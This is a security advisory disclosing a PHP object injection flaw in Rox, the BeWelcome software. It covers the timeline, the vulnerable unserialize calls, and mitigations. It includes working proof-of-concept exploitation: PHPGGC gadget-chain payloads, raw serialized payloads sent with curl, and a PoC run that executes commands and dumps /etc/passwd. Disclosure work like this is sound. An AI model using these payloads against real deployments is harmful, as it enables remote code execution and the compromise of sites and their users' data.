Rox (the software running BeWelcome) has a PHP Object Injection vulnerability as a result of Deserialization of Untrusted Data.
(POP/) Gadget Chains exist in Rox (and its libraries) which allow Object Injection vulnerabilities to be exploited, for example to write arbitrary files or achieve Remote Code Execution.
Such an attack could result in the compromise of a site.
- 2025-01-27: mcdruid contacts the Rox maintainers via support ticket
- 2025-06-16: fix committed https://github.com/BeWelcome/rox/commit/c60bf04c2464c4bfb6cfed6372a2890ca2d0c585
- 2025-10-23: maintainers confirm that fix has been deployed to production
- https://github.com/BeWelcome/rox
- Vulnerable version: develop branch / commit f09be94ec 2025-01-03
- CWE-502: Deserialization of Untrusted Data
- CAPEC-586: Object Injection
- CVSS (v3): CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H 9.9 Critical
- CVE: assignment pending
A subset of functionality is handled by a Legacy Kernel which is assigned
specific routes in \App\Routing\LegacyLoader::load.
The legacy kernel includes \RoxPostHandler to process HTTP POST requests.
\RoxPostHandler::getCallbackAction does the following:
if (isset($post_args['formkit_memory_recovery'])) {
$mem_from_recovery = unserialize(stripslashes(htmlspecialchars_decode($post_args['formkit_memory_recovery'])));
} else {
If present, the POST parameter named formkit_memory_recovery is passed to
PHP's unserialize() - after some processing - and this represents an Object
Injection vulnerability.
Elsewhere the legacy kernel calls \RoxFrontRouter::initUser which does this:
$member = $roxModelBase->getLoggedInMember();
// try restoring session from memory cookie
if (!$member) {
$roxModelBase->restoreLoggedInMember();
}
The "memory cookie" functionality is this:
public function restoreLoggedInMember()
{
if ($memoryCookie = $this->getMemoryCookie()) {
...snip...
/**
* Reads the contents of the memory cookie (for "stay logged in")
*
* @return array/boolean Contents of cookie or FALSE
*/
protected function getMemoryCookie() {
if (!empty($_COOKIE['bwRemember'])
&& $_COOKIE['bwRemember'] != 'hijacked') {
return unserialize($_COOKIE['bwRemember']);
So if restoreLoggedInMember was called, the contents of a user-supplied cookie
would be passed to PHP's unserialize() which would also represent an Object
Injection vulnerability.
However, it looks like all of the routes handled by the legacy kernel require
authentication (they redirect to the login page), so the check for $member
does not result in the "memory cookie" functionality running. This has not been
tested extensively though; it may be possible to reach the vulnerable code
without authentication.
As mentioned, the routes handled by the legacy kernel seem to require authentication. A test user is provided for development, and it seems to be typical that the application allows user registration with basic email activation required.
Exploiting the vulnerability therefore requires a valid session cookie, which can - for example - be extracted from a browser.
The formkit_memory_recovery parameter is passed through two functions before
it is passed to unserialize():
stripslasheshtmlspecialchars_decode
Both of these functions have a corresponding function that does the opposite, so
it's possible to pass a payload through e.g. addslashes before sending it to
the application in order to neutralise the effect that stripslashes will have.
The same could be done with htmlspecialchars but this may not be necessary,
depending on the payload.
Several of the vendored libraries included in Rox have Gadget Chains that can be used to exploit this vulnerability, many of which are included in the PHPGGC project: https://github.com/ambionics/phpggc
The following RCE Gadget Chains work:
- Monolog/RCE1,2,5,6,7
- Symfony/RCE11
- Doctrine/RCE2
Other non-RCE gadgets have not been tested but it's likely some will work.
PHPGGC has a "wrapper" option which can be used to pass the serialized payload
though addslashes. It doesn't seem to be necessary (or helpful) to call
htmlspecialchars too. For example:
$ cat addslashes.php
<?php
function process_serialized($s) {
return addslashes($s);
}
Example of using phpggc to generate a payload in a subshell, sending it to rox:
$ curl -s 'http://rox.ddev.site/polls' -b 'PHPSESSID=34c36762f9d639645db227eed88d3933' -d "formkit_memory_recovery=$(./phpggc --public-properties -f -w addslashes.php Monolog/RCE1 system 'uname -a')" | grep Linux
Linux rox-web 6.8.0-51-generic
The output of uname demonstrates that RCE was successful.
Another example without the subshell:
$ curl -s 'http://rox.ddev.site/polls' -b 'PHPSESSID=34c36762f9d639645db227eed88d3933' -d 'formkit_memory_recovery=a:2:{i:7;O:37:\"Monolog\\Handler\\FingersCrossedHandler\":4:{s:16:\"\0*\0passthruLevel\";i:0;s:10:\"\0*\0handler\";r:2;s:9:\"\0*\0buffer\";a:1:{i:0;a:2:{i:0;s:7:\"date -u\";s:5:\"level\";i:0;}}s:13:\"\0*\0processors\";a:2:{i:0;s:3:\"pos\";i:1;s:6:\"system\";}}i:7;i:7;}' | grep 2025
Tue Jan 28 20:46:06 UTC 2025
More complicated payloads can be employed to e.g. achieve a reverse shell.
Simple PoC bash script which fetches a session cookie to run the exploit, given the user credentials:
$ ./rox_poc.sh http://rox.ddev.site member-2 password 'cat /etc/passwd | head -n5'
# csrf: b12c4285924ff5.7e2-EowZtaOIu8xExj73TN9KqQWcBt2NqVhXxbv2wp0.mbztcMZMjMzd8asKiGSeFJ0Y32bkS-_dnBQHp-G7rNWvh-9EtGvw-cH8nQ
# phpsess: PHPSESSID=42c48441704f2cfb2a3bb5b9406bc0fa
# auth_cookie: PHPSESSID=66537c8d858578fedc1ef342a32fb778
# element: s:26:"cat /etc/passwd | head -n5"
# payload: a:2:{i:7;O:32:\"Monolog\\Handler\\SyslogUdpHandler\":1:{s:9:\"\0*\0socket\";O:29:\"Monolog\\Handler\\BufferHandler\":7:{s:10:\"\0*\0handler\";r:3;s:13:\"\0*\0bufferSize\";i:-1;s:9:\"\0*\0buffer\";a:1:{i:0;a:2:{i:0;s:26:"cat /etc/passwd | head -n5";s:5:\"level\";N;}}s:8:\"\0*\0level\";N;s:14:\"\0*\0initialized\";b:1;s:14:\"\0*\0bufferLimit\";i:-1;s:13:\"\0*\0processors\";a:2:{i:0;s:7:\"current\";i:1;s:6:\"system\";}}}i:7;i:7;}
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
The call to unserialize could be made safer by including the allowed_classes
option to disable Object Injection:
https://www.php.net/manual/en/function.unserialize.php
...assuming it's not necessary for objects to be deserialized.
If possible, a better mitigation would be to replace the use of serialization
with json_encode and json_decode.